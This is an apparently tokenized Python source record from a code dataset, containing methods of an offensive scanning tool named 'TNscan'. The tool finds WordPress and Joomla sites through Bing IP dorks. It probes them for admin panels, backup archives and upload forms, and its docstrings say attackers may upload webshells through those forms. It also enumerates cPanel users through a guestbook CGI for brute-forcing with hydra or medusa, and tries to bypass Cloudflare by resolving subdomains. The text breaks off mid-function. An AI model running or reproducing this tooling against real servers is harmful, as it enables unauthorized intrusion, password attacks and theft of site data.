"\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "sites_", "=_", "unique_", "(_", "lista_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "a_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "clear", "Scr", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'[", "*]", " ", "Foun", "d", " ", "'_", ",_", "len_", "(_", "lista_", ")_", ",_", "'", " ", "Webs", "ite", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "site_", "in_", "self_", "._", "sites_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "site_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "TN", "scan_", ":_", "#", "TN", "scan", " ", "Function", " ", "menu_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Word", "press_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "get", " ", "wordpress", " ", "site", " ", "usi", "ng", " ", "a", " ", "dor", "k", " ", "the", " ", "attacker", "\\", "10", ";", " ", " ", " ", " ", "may", " ", "do", " ", "a", " ", "password", " ", "list", " ", "attac", "k", " ", "(", "i", " ", "did", " ", "a", " ", "tool", " ", "for", " ", "tha", "t", " ", "purpose", " ", "check", " ", "my", " ", "paste", "bin", ")", " ", "\\", "10", ";", " ", " ", " ", " ", "or", " ", "scan", " ", "for", " ", "common", " ", "vulnerab", "ilities", " ", "usi", "ng", " ", "wps", "can", " ", "for", " ", "example", " ", "(", "i", " ", "did", " ", "a", " ", "simple", " ", "tool", " ", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "multi", " ", "scanning", " ", "usi", "ng", " ", "wps", "can", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lista_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "page_", "<=_", "101_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bing", "_", "=_", "\"", "http", "://", "www", ".", "bing", ".", "com", "/", "search", "?", "q", "=", "ip", "%", "3", "A", "\"_", "+_", "self_", "._", "server", "ip_", "+_", "\"+", "?", "page", "\\u", "id", "=", "&", "count", "=", "50", "&", "first", "=\"_", "+_", "str_", "(_", "page_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "openb", "ing_", "=_", "urllib2_", "._", "urlopen_", "(_", "bing", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "read", "bing", "_", "=_", "openb", "ing_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "find", "webs", "_", "=_", "re_", "._", "findall_", "(_", "'<", "h2", "><", "a", " ", "href", "=\"(", ".*?)", "\"'_", ",_", "read", "bing", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "find", "webs", "_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "wp", "noc", "lean", "_", "=_", "find", "webs", "_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "find", "wp_", "=_", "re_", "._", "findall_", "(_", "'(.*", "?)", "\\\\?", "page", "\\u", "id", "='_", ",_", "wp", "noc", "lean", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lista_", "._", "extend_", "(_", "find", "wp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "page_", "+=_", "50_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lista_", "=_", "unique_", "(_", "lista_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clear", "Scr", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'[", "*]", " ", "Foun", "d", " ", "'_", ",_", "len_", "(_", "lista_", ")_", ",_", "'", " ", "Word", "press", " ", "Webs", "ite", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "site_", "in_", "lista_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "site_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "TN", "scan_", ":_", "#", "TN", "scan", " ", "Function", " ", "menu_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Jo", "om", "la_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "get", " ", "all", " ", "jo", "om", "la", " ", "webs", "ites", " ", "usi", "ng", " ", "\\", "10", ";", " ", " ", " ", " ", "bing", " ", "search", " ", "the", " ", "attacker", " ", "may", " ", "brute", "force", "\\", "10", ";", " ", " ", " ", " ", "or", " ", "scan", " ", "them", " ", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lista_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "page_", "<=_", "101_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bing", "_", "=_", "\"", "http", "://", "www", ".", "bing", ".", "com", "/", "search", "?", "q", "=", "ip", "%", "3", "A", "\"_", "+_", "self_", "._", "server", "ip_", "+_", "\"+", "index", ".", "php", "?", "option", "=", "com", "&", "count", "=", "50", "&", "first", "=\"_", "+_", "str_", "(_", "page_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "openb", "ing_", "=_", "urllib2_", "._", "urlopen_", "(_", "bing", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "read", "bing", "_", "=_", "openb", "ing_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "find", "webs", "_", "=_", "re_", "._", "findall_", "(_", "'<", "h2", "><", "a", " ", "href", "=\"(", ".*?)", "\"'_", ",_", "read", "bing", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "find", "webs", "_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "jm", "noc", "lean", "_", "=_", "find", "webs", "_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "find", "jm", "_", "=_", "re_", "._", "findall_", "(_", "'(.*", "?)", "index", ".", "php", "'_", ",_", "jm", "noc", "lean", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lista_", "._", "extend_", "(_", "find", "jm", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "page_", "+=_", "50_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lista_", "=_", "unique_", "(_", "lista_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clear", "Scr", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'[", "*]", " ", "Foun", "d", " ", "'_", ",_", "len_", "(_", "lista_", ")_", ",_", "'", " ", "Jo", "om", "la", " ", "Webs", "ite", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "site_", "in_", "lista_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "site_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "TN", "scan_", ":_", "#", "TN", "scan", " ", "Function", " ", "menu_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "find", "Pane", "ls_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "find", " ", "panel", "s", " ", "from", " ", "grabbe", "d", " ", "webs", "ites", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "attacker", " ", "may", " ", "do", " ", "a", " ", "lot", " ", "of", " ", "vulnerab", "ilt", "y", " ", "\\", "10", ";", " ", " ", " ", " ", "tests", " ", "on", " ", "the", " ", "admin", " ", "area", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "~", "]", " ", "Finding", " ", "admin", " ", "panel", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "admin", "List_", "=_", "[_", "'", "admin", "/'_", ",_", "'", "site", "/", "admin", "'_", ",_", "'", "admin", ".", "php", "/'_", ",_", "'", "up", "/", "admin", "/'_", ",_", "'", "central", "/", "admin", "/'_", ",_", "'", "wh", "m", "/", "admin", "/'_", ",_", "'", "wh", "mcs", "/", "admin", "/'_", ",_", "'", "support", "/", "admin", "/'_", ",_", "'", "upload", "/", "admin", "/'_", ",_", "'", "video", "/", "admin", "/'_", ",_", "'", "shop", "/", "admin", "/'_", ",_", "'", "shop", "ing", "/", "admin", "/'_", ",_", "'", "wp", "-", "admin", "/'_", ",_", "'", "wp", "/", "wp", "-", "admin", "/'_", ",_", "'", "blog", "/", "wp", "-", "admin", "/'_", ",_", "'", "admin", "cp", "/'_", ",_", "'", "admin", "cp", ".", "php", "/'_", ",_", "'", "vb", "/", "admin", "cp", "/'_", ",_", "'", "forum", "/", "admin", "cp", "/'_", ",_", "'", "up", "/", "admin", "cp", "/'_", ",_", "'", "administrat", "or", "/'_", ",_", "'", "administrat", "or", ".", "php", "/'_", ",_", "'", "jo", "om", "la", "/", "administrat", "or", "/'_", ",_", "'", "jm", "/", "administrat", "or", "/'_", ",_", "'", "site", "/", "administrat", "or", "/'_", ",_", "'", "install", "/'_", ",_", "'", "vb", "/", "install", "/'_", ",_", "'", "dim", "cp", "/'_", ",_", "'", "cliente", "s", "/'_", ",_", "'", "admin", "\\u", "cp", "/'_", ",_", "'", "login", "/'_", ",_", "'", "login", ".", "php", "'_", ",_", "'", "site", "/", "login", "'_", ",_", "'", "site", "/", "login", ".", "php", "'_", ",_", "'", "up", "/", "login", "/'_", ",_", "'", "up", "/", "login", ".", "php", "'_", ",_", "'", "cp", ".", "php", "'_", ",_", "'", "up", "/", "cp", "'_", ",_", "'", "cp", "'_", ",_", "'", "master", "'_", ",_", "'", "adm", "'_", ",_", "'", "member", "'_", ",_", "'", "control", "'_", ",_", "'", "webm", "aster", "'_", ",_", "'", "mya", "dmin", "'_", ",_", "'", "admin", "\\u", "cp", "'_", ",_", "'", "admin", "\\u", "site", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clear", "Scr", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "site_", "in_", "self_", "._", "sites_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "admin_", "in_", "admin", "List_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "urllib_", "._", "urlopen_", "(_", "site_", "+_", "admin_", ")_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"", " ", "[*]", " ", "Foun", "d", " ", "admin", " ", "panel", " ", "->", " ", "\"_", ",_", "site_", "+_", "admin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "IO", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "TN", "scan_", ":_", "#", "TN", "scan", " ", "Function", " ", "menu_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "find", "Zip", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "find", " ", "zip", " ", "files", " ", "from", " ", "grabbe", "d", " ", "webs", "ites", "\\", "10", ";", " ", " ", " ", " ", "it", " ", "may", " ", "contain", " ", "usef", "ul", " ", "informations", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zip", "List_", "=_", "[_", "'", "backup", ".", "tar", ".", "gz", "'_", ",_", "'", "backup", "/", "backup", ".", "tar", ".", "gz", "'_", ",_", "'", "backup", "/", "backup", ".", "zip", "'_", ",_", "'", "vb", "/", "backup", ".", "zip", "'_", ",_", "'", "site", "/", "backup", ".", "zip", "'_", ",_", "'", "backup", ".", "zip", "'_", ",_", "'", "backup", ".", "rar", "'_", ",_", "'", "backup", ".", "sql", "'_", ",_", "'", "vb", "/", "vb", ".", "zip", "'_", ",_", "'", "vb", ".", "zip", "'_", ",_", "'", "vb", ".", "sql", "'_", ",_", "'", "vb", ".", "rar", "'_", ",_", "'", "vb", "1", ".", "zip", "'_", ",_", "'", "vb", "2", ".", "zip", "'_", ",_", "'", "vb", "b", ".", "zip", "'_", ",_", "'", "vb", "3", ".", "zip", "'_", ",_", "'", "upload", ".", "zip", "'_", ",_", "'", "up", "/", "upload", ".", "zip", "'_", ",_", "'", "jo", "om", "la", ".", "zip", "'_", ",_", "'", "jo", "om", "la", ".", "rar", "'_", ",_", "'", "jo", "om", "la", ".", "sql", "'_", ",_", "'", "wordpress", ".", "zip", "'_", ",_", "'", "wp", "/", "wordpress", ".", "zip", "'_", ",_", "'", "blog", "/", "wordpress", ".", "zip", "'_", ",_", "'", "wordpress", ".", "rar", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clear", "Scr", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "~", "]", " ", "Finding", " ", "zip", " ", "file", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "site_", "in_", "self_", "._", "sites_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "zip", "1_", "in_", "zip", "List_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "urllib_", "._", "urlopen_", "(_", "site_", "+_", "zip", "1_", ")_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"", " ", "[*]", " ", "Foun", "d", " ", "zip", " ", "file", " ", "->", " ", "\"_", ",_", "site_", "+_", "zip", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "IO", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "TN", "scan_", ":_", "#", "TN", "scan", " ", "Function", " ", "menu_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "find", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "find", " ", "upload", " ", "forms", " ", "from", " ", "grabbe", "d", " ", "\\", "10", ";", " ", " ", " ", " ", "webs", "ites", " ", "the", " ", "attacker", " ", "may", " ", "succe", "ed", " ", "to", " ", "\\", "10", ";", " ", " ", " ", " ", "upload", " ", "mali", "cio", "us", " ", "files", " ", "like", " ", "webs", "hell", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "up", "List_", "=_", "[_", "'", "up", ".", "php", "'_", ",_", "'", "up", "1", ".", "php", "'_", ",_", "'", "up", "/", "up", ".", "php", "'_", ",_", "'", "site", "/", "up", ".", "php", "'_", ",_", "'", "vb", "/", "up", ".", "php", "'_", ",_", "'", "forum", "/", "up", ".", "php", "'_", ",_", "'", "blog", "/", "up", ".", "php", "'_", ",_", "'", "upload", ".", "php", "'_", ",_", "'", "upload", "1", ".", "php", "'_", ",_", "'", "upload", "2", ".", "php", "'_", ",_", "'", "vb", "/", "upload", ".", "php", "'_", ",_", "'", "forum", "/", "upload", ".", "php", "'_", ",_", "'", "blog", "/", "upload", ".", "php", "'_", ",_", "'", "site", "/", "upload", ".", "php", "'_", ",_", "'", "download", ".", "php", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clear", "Scr", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "~", "]", " ", "Finding", " ", "Upload", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "site_", "in_", "self_", "._", "sites_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "up_", "in_", "up", "List_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "(_", "urllib_", "._", "urlopen_", "(_", "site_", "+_", "up_", ")_", "._", "getco", "de_", "(_", ")_", "==_", "200_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "html_", "=_", "urllib_", "._", "urlopen_", "(_", "site_", "+_", "up_", ")_", "._", "readlines_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "html_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "re_", "._", "findall_", "(_", "'", "type", "=", "file", "'_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"", " ", "[*]", " ", "Foun", "d", " ", "upload", " ", "->", " ", "\"_", ",_", "site_", "+_", "up_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "IO", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "TN", "scan_", ":_", "#", "TN", "scan", " ", "Function", " ", "menu_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Users_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "get", " ", "server", " ", "users", " ", "usi", "ng", " ", "a", " ", "method", " ", "found", " ", "by", " ", "\\", "10", ";", " ", " ", " ", " ", "ira", "nian", " ", "hacke", "rs", " ", "i", " ", "think", ",", " ", "the", " ", "attacker", " ", "may", "\\", "10", ";", " ", " ", " ", " ", "do", " ", "a", " ", "brute", "force", " ", "attac", "k", " ", "on", " ", "CP", "ane", "l", ",", " ", "ssh", ",", " ", "ftp", " ", "or", " ", "\\", "10", ";", " ", " ", " ", " ", "even", " ", "mysql", " ", "if", " ", "it", " ", "support", "s", " ", "remote", " ", "login", "\\", "10", ";", " ", " ", " ", " ", "(", "you", " ", "can", " ", "use", " ", "med", "usa", " ", "or", " ", "hydra", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clear", "Scr", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "~", "]", " ", "Grab", "bing", " ", "User", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "users", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "site", "1_", "in_", "self_", "._", "sites_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "site_", "=_", "site", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "site_", "=_", "site_", "._", "replace_", "(_", "'", "http", "://", "www", ".'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "site_", "=_", "site_", "._", "replace_", "(_", "'", "http", "://'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "site_", "=_", "site_", "._", "replace_", "(_", "'.'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'-'_", "in_", "site_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "site_", "=_", "site_", "._", "replace_", "(_", "'-'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "site_", "=_", "site_", "._", "replace_", "(_", "'/'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "len_", "(_", "site_", ")_", ">_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "resp_", "=_", "urllib2_", "._", "urlopen_", "(_", "site", "1_", "+_", "'/", "cgi", "-", "sys", "/", "guest", "book", ".", "cgi", "?", "user", "=", "%", "s", "'_", "%_", "site_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "invalid", " ", "user", "name", "'_", "not_", "in_", "resp_", "._", "lower_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "'\\\\", "t", " ", "[*]", " ", "Foun", "d", " ", "->", " ", "'_", ",_", "site_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "users", "list_", "._", "append_", "(_", "site_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "site_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "site_", "=_", "site_", "[_", ":_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "clear", "Scr", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "user_", "in_", "users", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "TN", "scan_", ":_", "#", "TN", "scan", " ", "Function", " ", "menu_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "cloudf", "lar", "e", "By", "pass", "er_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "try", "s", " ", "to", " ", "bypass", " ", "cloudf", "lar", "e", " ", "i", " ", "alr", "ead", "y", " ", "wrote", "\\", "10", ";", " ", " ", " ", " ", "in", " ", "my", " ", "blog", " ", "how", " ", "it", " ", "works", ",", " ", "i", " ", "learned", " ", "this", " ", "\\", "10", ";", " ", " ", " ", " ", "method", " ", "from", " ", "a", " ", "guy", " ", "in", " ", "mad", "lee", "ts", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clear", "Scr", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "~", "]", " ", "By", "passi", "ng", " ", "cloudf", "lar", "e", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subd", "oms", "_", "=_", "[_", "'", "mail", "'_", ",_", "'", "webm", "ail", "'_", ",_", "'", "ftp", "'_", ",_", "'", "direct", "'_", ",_", "'", "cpa", "nel", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "site_", "in_", "self_", "._", "sites_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "site_", "._", "replace_", "(_", "'", "http", "://'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "site_", "._", "replace_", "(_", "'/'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ip_", "=_", "socket_", "._", "gethostbyname", "_", "(_", "site_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "socket_", "._", "error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "sub_", "in_", "subd", "oms", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 